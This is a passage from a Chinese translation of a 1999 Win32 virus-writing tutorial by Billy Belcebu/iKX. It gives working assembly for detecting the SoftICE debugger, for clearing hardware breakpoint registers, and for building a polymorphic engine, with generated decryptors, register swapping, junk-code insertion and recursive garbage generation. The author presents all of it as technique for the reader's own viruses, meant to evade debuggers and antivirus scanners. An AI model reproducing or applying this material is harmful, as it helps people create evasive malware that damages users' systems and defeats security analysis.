-------------------------------------
mov eax, Device_ID
mov edi, Device_Name
int 20h ; VMMCall Get_DDB
dd 00010146h
mov [DDB], ecx
- 确定一个VxD是否对特定设备安装了，如果安装了就会返回一个那个设备的DDB。
- 使用ECX，flags(标志)。
- 如果函数成功会返回指定设备的DDB；
- 否则，返回0。
?Device_ID:设备标志符。对于基于名字的设备，这个参数可以为0。
?Device_Name:一个8－字符的设备名，不够用空字符填充。如果Device_ID为0的时候，这个参数才被需要。设备名大小写敏感。
-------------------------------------
现在，你想要知道为什么了，非常简单，SoftICE VxD的Device_ID域对于所以程序来说是 一个常量，正如它在Micro$oft注册的，所以我们就有了对付不可思议的SoftICE的武器了。它的Device_ID总是202h。所以我们应该 使用如下的代码:
mov eax,00000202h
VxDCall VMM_Get_DDB
xchg eax,ecx
jecxz NotSoftICE
jmp DetectedSoftICE
NotSoftICE应该是继续我们的病毒代码的地方，而DetectedSoftICE标记应该是既然我们已经知 道我们的敌人还活着，该采取一些行动的地方，我不建议任何破坏性的事情，因为，例如，将会伤害我的电脑，因为我总是使得SoftICE处于激活状态:)
% Win9X: 检测 SoftICE (II) %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
下面是另外一种方法来检测我所钟爱得SoftICE的存在，但是基于以前的同样的观点： 202h ;) 我必须再次对Super致敬:)好了，在Ralph Brown的中断列表中，我们可以看到一个在中断 2Fh(多元)的1684h服务。
----------------------------------------------
Inp.:
AX = 1684h
BX = virtual device (VxD) ID (看 #1921)
ES:DI = 0000h:0000h
返回: ES:DI -> VxD API 入口, 或者 0:0 如果这个 VxD 不支持一个API
说明: 一些Windows增强－模式虚拟设备提供了一些应用程序可以访问的服务。例如，Virtual Display Device(VDD)提供了由WINOLDAP轮流使用的API。
----------------------------------------------
所以，你在BX中放一个202h，并指向这个函数。然后你要说了...“嗨，Billy... 我用于中断多傻呀?"。我的回答是...使用VxDCALL0!!!
% Win32: 检测SoftICE (III) %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
你正等待的是比较权威的和令人惊奇的招...同时在Win9x 和 WinNT环境寻找 SoftICE!它非常简单，100%基于API，而且没有"脏"招来进行兼容性。这个答案并没有你想的那么隐蔽...关键是在你肯定以前已经用过的 API函数中:CreateFile。是的，那个API...不迷人吗?好了，我得试图打开下面的东西：
+ SoftICE for Win9x : "//./SICE"
+ SoftICE for WinNT : "//./NTICE"
如果这个API返回给我们和-1 (INVALID_HANDLE_VALUE)不同的东西，SoftICE就是处于激活状态!下面是演示程序:
;--------从这里开始剪切--------------------------------------------------------
.586p
.model flat
extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "SoftICE detection",0
szMessage db "SoftICE for Win9x : "
answ1 db "not found!",10
db "SoftICE for WinNT : "
answ2 db "not found!",10
db "(c) 1999 Billy Belcebu/iKX",0
nfnd db "found! ",10
SICE9X db "//./SICE",0
SICENT db "//./NTICE",0
.code
DetectSoftICE:
push 00000000h ; Check for the presence of
push 00000080h ; SoftICE for Win9x envirome-
push 00000003h ; nts...
push 00000000h
push 00000001h
push 0C0000000h
push offset SICE9X
call CreateFileA
inc eax
jz NoSICE9X
dec eax
push eax ; Close opened file
call CloseHandle
lea edi,answ1 ; SoftICE found!
call PutFound
NoSICE9X:
push 00000000h ; And now try to open SoftICE
push 00000080h ; for WinNT...
push 00000003h
push 00000000h
push 00000001h
push 0C0000000h
push offset SICENT
call CreateFileA
inc eax
jz NoSICENT
dec eax
push eax ; Close file handle
call CloseHandle
lea edi,answ2 ; SoftICE for WinNT found!
call PutFound
NoSICENT:
push 00h ; Show a MessageBox with the
push offset szTitle ; results
push offset szMessage
push 00h
call MessageBoxA
push 00h ; Terminate program
call ExitProcess
PutFound:
mov ecx,0Bh ; Change "not found" by
lea esi,nfnd ; "found"; address of where
rep movsb ; to do the change is in EDI
ret
end DetectSoftICE
;--------到这里为止剪切--------------------------------------------------------
这个真的起作用了，相信我:)这个同样的方法可以应用于其它"敌对"驱动，只要对它研究一点点就可以了。
% Win9X: 杀掉调试器硬件断点 %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
你是否在想调试寄存器(DR?)，我们有一个小问题:它们在WinNT下是特权级指令。这一招由这些简单的事情组 成:注意DR0, DR1, DR2 和DR3(它们由调试器用来作为硬件断点的)。所以，简单的使用这个代码，你就可以 避开调试器:
xor edx,edx
mov dr0,edx
mov dr1,edx
mov dr2,edx
mov dr3,edx
哈哈，是不是很有意思呀?:)
%最后的话%
~~~~~~~~~~
这是一些简单的反调试招。我希望你能够在你的病毒中没有任何问题的使用它们，看你了!
【Win32 多态(Win32 polymorphism)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
许多人对我说，在我的MS-DOS病毒教程中最大的弱点是多态那一章(btw，我是在15岁的时候写的它，我知道汇 编仅仅1个月)。但是基于这个原因，我将试图另外写一个，全新的，从0开始。从那时起我读了许多多态的文档，而且毫无疑问，对我影响最大的是Qozah 的，虽然它非常简单，他解释了我们在编写一个多态引擎(如果你想读它，从病毒站点下载DDT#1)更应该清楚的所有概念。我将在这一章里提到真正最基础的 东西，所以如果你已经有这方面的基础知识了，跳过去!
%介绍%
~~~~~~
多态存在的主要原因是，总是和反病毒软件的存在相关的。在那个没有多态引擎的时代，反病毒软件通过简单地使用一个扫描字符串来检测病毒，它们最困难地是加 密了地病毒。所以，一个病毒编写者有了一个天才的想法。我敢肯定他在想“为什么我不编写一个不可扫描的病毒呢，这是通过技术来实现？”然后，多态诞生了。 多态意味着在一个加了密的病毒中包括解密部分之内，排除所有可能的恒定不变的字节来避免被扫描。是的，多态意味着为病毒建立变化的解密程序。呵呵，简单而 有效。这是基本的概念：永远不要建立两个一样(在外观上)的解密程序，但是总是能完成相同的功能。它好像是加密的自然扩展，但是因为加密代码还不是足够 短，它们可以通过一个字符串来抓住，但是，利用多态，字符串就没有用了。
%多态级别%
~~~~~~~~~~
每个级别的多态都有它自己的名字，是由反病毒者给的。让我们用AVPVE的一小段来看看它(好样的，Eugene)。
-----------------------------------------
根据这些病毒的解密代码的复杂性，对于多态病毒有一个分级系统。这个系统是由Dr. Alan Solomon提出然后由Vesselin Bontchev改进的。
第1级：病毒有一些不变的解密代码集合，在感染的时候会选择一个。这种病毒被叫做"semi-polymorphic"或者"oligomorphic"。
例子："Cheeba", "Slovakia", "Whale"。
第2级：病毒解密程序包含一个或几个不变的指令，其它的都是改变的。
第3级：解密程序有没有用的函数－“垃圾”如NOP, CLI, STI,等等。
第4级：解密程序使用可互换的指令并改变它们的顺序(指令混合)。解密算法保持不变。
第5级：上述提到的所有技术都用到了，解密算法也是可变的，重复加密病毒代码甚至部分地加密解密程序本身代码也是可能的。
第6级：交换病毒。病毒的主要代码以改变为条件进行改变，在感染的时候随机的分成了记过部分。尽管那样，病毒还是能继续工作。这样的病毒可能没有加密。
这样的分类仍然有缺点，因为主要标准是在病毒标志的惯例技术的帮助下根据解密程序的代码来检测病毒的可能性：
第1级：为了检测病毒是否足够有一些标志
第2级：通过使用“百搭牌(wild cards)”的帮助来检测病毒
第3级：利用检测“垃圾”代码来检测病毒
第4级：标志包含一些版本的可能代码，也就是算法
第5级：使用标志不可能检测到病毒
这种分类在第3级的多态病毒，只是按照它这么叫的"第3级"就可以看出不足了。这个病毒是最复杂的多态病毒之一，根 据当前的分类而到了第3级目录中了，因为它有一个不变的解密算法前面是大量的“垃圾”指令。然而，在这个病毒中“垃圾”产生算法几乎是完美的：在解密代码 中可能会找到几乎所有的i8086指令。
如果病毒按照现在的反病毒观点来分到这个级别，使用自动解密病毒代码(模拟)系统，那么这个分类将会基于病毒代码的复杂性。其它病毒检测技术也是可能的，例如，在原始的数学规律的帮助下解密，等等。
因此，如果除了病毒标志线索外，其它的参数也考虑了，这个分类在我心目中的分类更客观。
1.多态代码的复杂度(所有的处理指令在整个解密代码中占的比例)
2.反模拟技术使用
3.解密算法的恒定chdu
4.机密程序长度的恒定程度
我不想更详细的讨论这些了，因为结果是将会导致厉害的病毒编写者们创造出这种类型的怪物。
-----------------------------------------
%我怎样来编写一个多态呢%
~~~~~~~~~~~~~~~~~~~~~~~~
首先，你必须在必须在你的脑海中清楚你想要使你的解密程序是什么样。例如：
mov ecx,virus_size
lea edi,pointer_to_code_to_crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
那是一个非常简单的例子，是吗？我们这里主要有6块(每个指令是一块)。想象一下你使得那个代码不一样有多少种可能性呢：
- 改变寄存器
- 改变头3个指令的顺序
- 为了达到同样的目的使用不同的指令
- 插入什么也不做的指令
- 插入垃圾等等。
这是多态的主要思想。让我们看看对这个同样的解密程序，用一个简单的多态引擎初始的可能解密代码：
shl eax,2
add ebx,157637369h
imul eax,ebx,69
(*) mov ecx,virus_size
rcl esi,1
cli
(*) lea edi,pointer_to_code_to_crypt
xchg eax,esi
(*) mov eax,crypt_key
mov esi,22132546h
and ebx,0FF242569h
(*) xor dword ptr [edi],eax
or eax,34548286h
add esi,76869678h
(*) add edi,4
stc
push eax
xor edx,24564631h
pop esi
(*) loop 00401013h
cmc
or edx,132h
[...]
你明白了思想了没？对于一个病毒分析者来说，明白这样一个解密程序不是非常困难(对他们来说比一个没有加密的病毒要 困难多了)。还可以做许多改进，相信我。我想你意识到了我们需要在我们的多态引擎中有不同的函数：一个用来为解密程序创造“合法”的指令，另外一个用来创 造垃圾。这是你在编写一个多态引擎时必须有的主要主意。从这一点开始，我将尽可能的更好地解释这个。
%非常重要地东西：RNG%
~~~~~~~~~~~~~~~~~~~~~
是的，在一个多态引擎中最重要的部分是随机数发生器(Random Number Generator)，即RNG。一个RNG是一段能够返回一个彻底随机的数的代码。下面是DOS下的一个经典的程序，在Win9X下，甚至在Ring- 3工作，但是不能在NT中工作。
random:
in eax,40h
ret
这个将会在EAX的MSW中返回0，LSW中返回一个随机值。但是，这个不够强大...我们必须招另外一个...这 得靠你了。这里我所能做的唯一一件事情是用一个小程序让你知道你的RNG是否强大。它在Win32.Marburg(作者GriYo/29A)的发作中也 是由GriYo测试的这个病毒的RNG。毫无疑问，这个代码被合适的修改了，这样可以被容易的编译和执行。
;------从这里开始剪切-----------------------------------------------------------------
;
; RNG Tester
; ==========
;
; 如果屏幕上的图标是真正的被“随机的”放置了，那么这个RNG就是一个不错的，但是如果如果图
; 标是在屏幕的相同位置，或者你主意到图标在屏幕上有奇怪的行为，试试另外的RNG。
.386
.model flat
res_x equ 800d ; Horizontal resolution
res_y equ 600d ; Vertical resolution
extrn LoadLibraryA:PROC ; All the APIs needed by the
extrn LoadIconA:PROC ; RNG tester
extrn DrawIcon:PROC
extrn GetDC:PROC
extrn GetProcAddress:PROC
extrn GetTickCount:PROC
extrn ExitProcess:PROC
.data
szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz string
a_User32 dd 00000000h ; Variables needed
h_icon dd 00000000h
dc_screen dd 00000000h
rnd32_seed dd 00000000h
rdtsc equ <dw 310Fh>
.code
RNG_test:
xor ebp,ebp ; Bah, i am lazy and i havent
; removed indexations of the
; code... any problem?
rdtsc
mov dword ptr [ebp+rnd32_seed],eax
lea eax,dword ptr [ebp+szUSER32]
push eax
call LoadLibraryA
or eax,eax
jz exit_payload
mov dword ptr [ebp+a_User32],eax
push 32512
xor edx,edx
push edx
call LoadIconA
or eax,eax
jz exit_payload
mov dword ptr [ebp+h_icon],eax
xor edx,edx
push edx
call GetDC
or eax,eax
jz exit_payload
mov dword ptr [ebp+dc_screen],eax
mov ecx,00000100h ; Put 256 icons in the screen
loop_payload:
push eax
push ecx
mov edx,eax
push dword ptr [ebp+h_icon]
mov eax,res_y
call get_rnd_range
push eax
mov eax,res_x
call get_rnd_range
push eax
push dword ptr [ebp+dc_screen]
call DrawIcon
pop ecx
pop eax
loop loop_payload
exit_payload:
push 0
call ExitProcess
; RNG - This example is by GriYo/29A (see Win32.Marburg)
;
; For test the validity of your RNG, put its code here ;)
;
random proc
push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,eax
imul eax,41C64E6Dh
add eax,00003039h
mov dword ptr [ebp+rnd32_seed],eax
xor eax,ecx
pop edx
pop ecx
ret
random endp
get_rnd_range proc
push ecx
push edx
mov ecx,eax
call random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
get_rnd_range endp
end RNG_test
;------到这里为止剪切-----------------------------------------------------------------
它很有意思，至少对我来说是这样的，为了看看不同数学操作的作用。
% 多态引擎的基本概念 %
~~~~~~~~~~~~~~~~~~~~~~~~
我想你应该知道我将要解释什么了，所以，如果你已经编写了一个多态引擎，或者你知道怎么创建一个，我肯定建议你跳过这一段，或者你将开始谴责我的愚蠢，这是我不想要的。
首先，我们将要在一个临时缓冲去通常是堆里产生代码，但是也可以很容易地利用VirtualAlloc 或者 GlobalAlloc API函数来开辟内存。我们只是把一个指针指向这个缓冲内存区域地开始，而且这个寄存器通常是 EDI，因为通过使用STOS类地指令可以优化。所以我们要在这块内存缓冲里放置操作码字节。Ok,ok，如果你仍然认为我很糟因为我总是举一些代码例子 来解释东西，我将表明你错了。
;------从这里开始剪切-----------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪馁
;
.386 ; Blah
.model flat
.data
shit:
buffer db 00h
.code
Silly_I:
lea edi,buffer ; Pointer to the buffer
mov al,0C3h ; Byte to write, in AL
stosb ; Write AL content where EDI
; points
jmp shit ; As the byte we wrote, C3,
; is the RET opcode, we fi-
; nish the execution.
end Silly_I
;------到这里为止剪切-----------------------------------------------------------------
编译上面地代码，看看发生了什么。呵？我知道它不是什么事情也没做。但是你看到了，你产生了代码，不是直接编写的， 而且我给你表明了你从0开始初始代码，并想想可能性，你可以从一个什么也没有的缓冲区里面初始一整个有用的代码。这是多态引擎代码(不是多态引擎产生的代 码)怎样初始解密代码的基本概念。所以，想象一下我们要编写如下的指令：
mov ecx,virus_size
mov edi,offset crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1
那么，从上面的代码产生的解密程序将会这样：
mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points
mov al,0BFh : MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,offset crypt ; Offset32 to store
stosd ; Store EAX where EDI points
mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key ; Imm32 to store
stosd ; Store EAX where EDI points
mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points
mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points
mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points
OK，然后你已经产生了它应该是什么模样的代码，但是你意识到了在真正的代码中加一些什么也不做的指令非常简单，通过使用同样的方法。你可以用一个字节的指令实验一下，例如，看看它的兼容能力。
;------从这里开始剪切-----------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
; ===================================
;
.386 ; Blah
.model flat
virus_size equ 12345678h ; Fake data
crypt equ 87654321h
crypt_key equ 21436587h
.data
db 00h
.code
Silly_II:
lea edi,buffer ; Pointer to the buffer
; is the RET opcode, we fi-
; nish the execution.
mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points
call onebyte
mov al,0BFh ; MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,crypt ; Offset32 to store
stosd ; Store EAX where EDI points
call onebyte
mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key
stosd ; Store EAX where EDI points
call onebyte
mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points
mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points
mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points
ret
random:
in eax,40h ; Shitty RNG
ret
onebyte:
call random ; Get a random number
and eax,one_size ; Make it to be [0..7]
mov al,[one_table+eax] ; Get opcode in AL
stosb ; Store AL where EDI points
ret
one_table label byte ; One-byters table
lahf
sahf
cbw
clc
stc
cmc
cld
nop
one_size equ ($-offset one_table)-1
buffer db 100h dup (90h) ; A simple buffer
end Silly_II
;------到这里为止剪切-----------------------------------------------------------------
呵呵，我建立了一个很弱的3级，比2级强一些的多态引擎:)寄存器交换将在后面解释，因为它随着操作码格式变。但是 我在这个小子章节里的目标达到了：你现在应该知道了我们想要做什么。想象一下你使用两个字节而不是一个字节，如PUSH REG/POP REG, CLI/STI, 等等。
%“真正”代码产生%
~~~~~~~~~~~~~~~~~~
让我们再看看我们的指令。
mov ecx,virus_size ; (1)
lea edi,crypt ; (2)
mov eax,crypt_key ; (3)
@@1: xor dword ptr [edi],eax ; (4)
add edi,4 ; (5)
loop @@1 ; (6)
为了达到同样的目的，但是用不同的代码，许多事情可以做，而且这是我们的目标。例如，前3个指令可以以其它的顺序排 列，而且结果不会改变，所以你可以创建一个使它们的顺序随机的函数。而且我们可以使用其它的寄存器，没有任何问题。而且我们可以使用一个dec/jnz来 取代一个loop...等，等，等...
- 你的代码应该能够产生，例如，如下的能够处理一个简单指令，让我们想象一下，第一个mov:
mov ecx,virus_size
或者
push virus_size
pop ecx
或者
mov ecx,not (virus_size)
not ecx
或者
mov ecx,(virus_size xor 12345678h)
xor ecx,12345678h
等, 等, 等...
所有这些事情可以产生不同的操作码，而且完成同样的工作，也就是说，把病毒的大小放到ECX中。毫无疑问，有大量的可能性，因为你可以使用一个使用大量的指令来仅仅把一个值放到一个寄存器中。从你的角度它需要许多想象力。
- 另外一件事情是指令的顺序。正如我以前评论的，你可以很容易地没有任何问题地改变指令地顺序，因为对它们来说，顺序不重要。所以，例如，取代指令1，2，3，我们可以使它成为3，1，2或者1，3，2等等。只要让你的想象力发挥作用即可。
- 同样重要的是，交换寄存器，因为每个操作码也改变了(例如，MOV EAX,imm32被编码成B8 imm32而 MOV ECX,imm32编码成B9 imm32)。你应该为解密程序从7个寄存器中使用3个寄存器(千万不要使用 ESP!!!)。例如，想象一下我们选择(随机)3个寄存器，EDI作为基指针，EBX作为密钥而ESI作为计数器；然后我们可以使用EAX, ECX, EDX和EBP作为垃圾寄存器来产生垃圾指令。让我们来看看关于选3个寄存器来对解密程序产生的代码：
---------------------------------------
InitPoly proc
@@1: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is ESP?
jz @@1 ; If it is, get another reg
mov byte ptr [ebp+base],al ; Store it
mov ebx,eax ; EBX = Base register
@@2: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is ESP?
jz @@2 ; If it is, get another one
cmp eax,ebx ; Is equal to base pointer?
jz @@2 ; If it is, get another one
mov byte ptr [ebp+count],al ; Store it
mov ecx,eax ; ECX = Counter register
@@3: mov eax,8 ; Get random reg
call r_range ; EAX := [0..7]
cmp eax,4 ; Is it ESP?
jz @@3 ; If it is, get another one
cmp eax,ebx ; Is equal to base ptr reg?
jz @@3 ; If it is, get another reg
cmp eax,ecx ; Is equal to counter reg?
jz @@3 ; If it is, get another one
mov byte ptr [ebp+key],al ; Store it
ret
InitPoly endp
------------------------------------
现在，你在3个不同的寄存器中有3个变量，我们可以自由地没有任何问题地使用。对于EAX寄存器我们有一个问题，不 是非常重要，但是确实是一个问题。正如你所知道的，EAX寄存器有，在某些指令中，一个优化操作码。这不是一个问题，因为代码得到了同样的执行，但是启发 将会发现一些代码是以一个不正确的方式建立的，一种一个"真正"汇编不会用的的方法。你有两种选择：如果你仍然想使用EAX,例如，作为你的代码中的"活 跃"的寄存器，你应该检查它，如果能够优化它，或者简单的避免在解密程序中使用EAX寄存器作为"active"寄存器，并只是把它用来做垃圾，直接使用 它的优化操作码(把它们建一个表将是一个很伟大的选择)。我们将在后面看到。我推荐使用一个标志寄存器，为了最终的垃圾游戏:)
%垃圾的产生%
~~~~~~~~~~~~
在质量中，垃圾的质量90%决定了你的多态引擎的质量。是的，我说的是“质量”而非你所想的“数量”。首先，我将列出你在编写一个多态引擎时的两个选择：
- 产生现实代码，以合法的应用代码面目出现。例如，GriYo的引擎。
- 产生尽可能多的代码，以一个破坏的文件面目出现。例如，Mental Driller的 MeDriPoLen(看看 Squatter)。
Ok,让我们开始吧：
?两个的共同点:
- 用很多不同方式调用(调用中嵌调用再嵌调用...)
- 无条件的跳转
?现实主义：
一些现实的东西是那些看起来真实的东西，虽然它并不是。对于这个我打算解释如下：如果你看到大量的没有CALL和 JUMP的代码你会怎么想？如果在一个CMP后面没有一个条件跳转你会怎么想？它几乎是不可能的，正如你，我和反病毒者知道的。所以我们必须有能力产生所 有这些类型的垃圾结构：
- CMP/条件跳转
- TEST/条件跳转
- 如果对EAX处理，总是使用优化的指令
- 使用内存访问
- 产生 PUSH/垃圾/POP 结构
- 产生非常少的只要一个字节的代码(如果有)
?精神摧毁...恩...象破坏代码:
这个当解密程序充满了无意义的操作码看起来不像代码的时候发生，也就是说不符合以前列出来的规则的代码，而且使用协处理器的不做任何事情的指令，当然了，使用的操作码越多越好。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
现在，我将试图解释代码产生的所有要点。首先，让我们以和它们相关的所有东西开始，CALL和无条件跳转。
?首先一点，CALL，它非常简单。你可以做成调用子例程，通过许多方式：
|Figure 1 -------| |Figure 2 -------| |Figure 3 -------|
| call @@1 | | jmp @@2 | | push @@2 |
| ... | | ... | | ... |
| jmp @@2 | |@@1: | |@@1: |
| ... | | ... | | ... |
|@@1: | | ret | | ret |
| ... | | ... | | ... |
| ret | |@@2: | |@@2: |
| ... | | ... | | ... |
|@@2: | | call @@1 | | call @@1 |
|________________| |________________| |________________|
当然你可以把所有的都混合起来，而且结果是，你有许多方式在一个解密程序内部编写一个子例程。而且，毫无疑问，你可以反过来(你 将会听到我对它提更多的次数)，而且可能在另外的CALL里有CALL，所有这些又在另外一个CALL里，然后另外一个...真的非常头疼。
此外，存储这些子例程的偏移并在产生的代码的任何地方调用它将是一个很好的选择。
?关于非条件跳转，它非常简单，因为我们不必要关心在jump之后知道jump的范围的指令，我们可以插入完全随机的操作码，比如垃圾...
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
现在，我打算代码中的现实主义。GriYo可以被称为这种类型的引擎的最伟大的代表；如果你看到了他的 Marburg引擎, 或者他的HPS引擎，你将会意识到那个，虽然它的简易，他试图使得代码看起来尽可能真实，而且这个使得反病毒者在获得一 个可靠的对付它的算法之前都快疯了。OK，让我们以一些基本要点开始:
?关于 'CMP/条件 jump' 结构，它相当清晰，因为你不放一个条件跳转，将从不会使用一个比较...OK，但是要编不是0跳转的jump，也就是说，在条件跳 转和它应该跳转(或者不跳转)的偏移之间产生一些可执行的垃圾，而且在分析者的眼中，这些代码将更少地被怀疑。
?和TEST一样，但是使用JZ或者JNZ，因为正如你知道地,TEST仅仅会对zero flag有影响。
?最有可能制造失败的是AL/AX/EAX寄存器，因为它们有它们自己的优化代码。你将得到下面的指令的例子：
ADD, OR, ADC, SBB, AND, SUB, XOR, CMP 和 TEST (和寄存器很紧密).
? 关于内存访问，一个好的选择是至少要获得被感染的PE文件的512字节数据，把它们放到病毒的某处，然后访问它们，读或协。试着使用除了简单的指数，双精 度数，而如果你的大脑能接受它，试着使用双指数相乘，例如[ebp+esi*4]。并不是你想的那么困难，相信我。你还可以做一些内存移动，用MOVS指 示，还可以使用STOS, LODS, CMPS...所有的字符串操作也可以使用。这就靠你了。
?PUSH/垃圾/POP结构非常有用，因为它的加到引擎中的简单，还因为好的效果，因为它在一个合法程序中是一个非常普通的结构。
?一个字节的指令的数量，如果太多了，会暴露我们的存在给反病毒者，或者给那些有着好奇的眼睛的家伙。考虑普通程序不是很正常使用它们，所以最好作一个检测来避免过多的使用它们，但是仍然每25字节使用一两个(我认为这是一个不错的比率)。
-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?
下面是一些精神摧毁型的东西:)
?你可以使用，例如，下面两个字节的协处理器指令是没有任何类型问题的垃圾：
f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp,
fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi,
fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan,
frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp,
ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.
只要在病毒的开始放这两个指令来重置协处理器:
fwait
fninit
Mental Driller现在正偏向于现实主义了(据我所知)由他的最近的令人印象深刻的引擎(TUAREG)，所以...
% 指令建立 %
~~~~~~~~~~~~~~
这大概是和多态相关的最重要的事情了:关系在相同指令和不同寄存器之间存在，或者在两个相同家族的指令之间存在。如果我们把指变成二进制的话它们之间的关系就非常清晰了。但是，因此，一些有用的信息:
寄存器二进制形式 | 000 001 010 011 100 101 110 111
| -------------------------------
Byte 寄存器 | AL CL DL BL AH CH DH BH
Word 寄存器 | AX CX DX BX SP BP SI DI
扩展寄存器 | EAX ECX EDX EBX ESP EBP ESI EDI
段 | ES CS SS DS FS GS -- --
MMX 寄存器 | MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7
我认为在写我的《Virus Writing Guides for MS-DOS》时候，所犯的大错误是在我的解释OpCodes 结构部分，和所有那些东西。这里我想要描述的是许多"你自己做"，就像我在写一 个多态引擎时那样。只以一个XOR操作码为例...
xor edx,12345678h -> 81 F2 78563412
xor esi,12345678h -> 81 F6 78563412
你看到了不同了吗?我习惯利用一个调试器，然后写我想要用一些寄存器构造代码，看看有什么改变。OK，正如你能看到的(嗨!你没瞎吧?)，改变的字节是第二个。现在是有趣的部分了:把值变成二进制形式。
F2 -> 11 110 010
F6 -> 11 110 110
OK，你看到了什么改变了吗?最后3个bit，对吗?好了，现在到我把寄存器以二进制表示的部分:)正如你已经发现的，这3个bit根据寄存器的改变而改变了。所以...
010 -> EDX 寄存器
110 -> ESI 寄存器
只要试着把那3个比特赋其它的二进制值，你将会发现寄存器是怎么改变的。但是要小心...不要使用用这个操作码EAX值(000)，因为，所有的算术指令，都对EAX优化了，因此要彻底地改变操作码。
所以，调试所有你想要的构造，看看它们之间的关系，并建立产生任何东西的可靠的代码。它非常简单!
% Recursivity %
~~~~~~~~~~~~~~~~~
它在你的多态引擎中是一个非常重要的一点。recursivity必须有一个限度，但是依赖于那个限度，代码可以非常难理解(如果那个限度很高)。让我们想象一些有一个所有垃圾代码构造器的偏移表:
PolyTable:
dd offset (GenerateMOV)
dd offset (GenerateCALL)
dd offset (GeneratteJMP)
[...]
EndPolyTable:
并想象一下你有在它们之中选择的如下例程:
GenGarbage:
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
ret
现在想象一下你的'GenerateCALL'指令从内部调用'GenGarbage'例程。呵呵 'GenGarbage'可以再次调用'GenerateCALL'，并再次，然后再次(取决于RNG)，所以你将有CALL在CALL中在CALL 中...我已经在那件事情之前提了一个限度仅仅是为了避免速度问题，但是它可以用这些新的
'GenGarbage'例程来解决:
GenGarbage:
inc byte ptr [ebp+recursion_level]
cmp byte ptr [ebp+recursion_level],05 ; <- 5 is the recursion
jae GarbageExit ; level here!
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
GarbageExit:
dec byte ptr [ebp+recursion_level]
ret
所以，我们的引擎将能产生巨大数量的充满这种CALL的垃圾代码;)当然了，这个还可以在PUSH和POP间利用:)
%最后的话%
~~~~~~~~~~
多态性决定了编码，所以我不更多的讨论了。你应该自己做一个而不是复制代码。只要不是对经典引擎用一种类型的简单加 密操作，和非常基础的垃圾如MOV，等等。使用你可以想到的所有主意。例如，有许多类型的CALL可做:3种风格(正如我以前描述的)，此外，你可以建立 堆栈结构，PUSHAD/POPAD，通过PUSH(然后是一个 RET x)来传送参数，还有更多的。要有想象力!
【高级Win32 技术】
~~~~~~~~~~~~~~~~~~
在这一章，我将讨论一些那些不需要一整章来讨论的技术，但是，不是很容易忘记的:)所以，下面我将讨论这些东西:
- Structured Exception Handler(SEH)
- MultiThreading(多线程)
- CRC32 (IT/ET)
- AntiEmulators(反模拟)
- Overwriting .reloc section(写.reloc节)
% Structured Exception Handler %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
结构化异常处理(Structured Exception Handler),简称SEH， 是所有Win32环境的一个非常酷的特点。它所做的非常容易理解:如果一个一般保护错误(简称GPF)发生了，控制会自动传到当前存在的 SEH handler。你看到了它的辅助作用了吗?如果你把所有东西弄乱了，你将能够(仍然能)保持你的病毒没法被发现:)指向 SEH handler的指针是在FS:[0000]中的。所以，你可以很容易地设置你自己的新SEH handler(但是要记住 保存旧的!)如果一个错误发生了，控制将会传给你的SEH handler例程，但是堆栈将会混乱。幸运的是，Micro$oft已经在设置我 们的SEH handler之前把堆栈放到ESP+8的地方了:)所以，简单的我们只要恢复它并把旧的SEH handler设置回 去就可以了:)让我们看看一个SEH使用的一个简单例子:
;--------从这里开始剪切-------------------------------------------------------
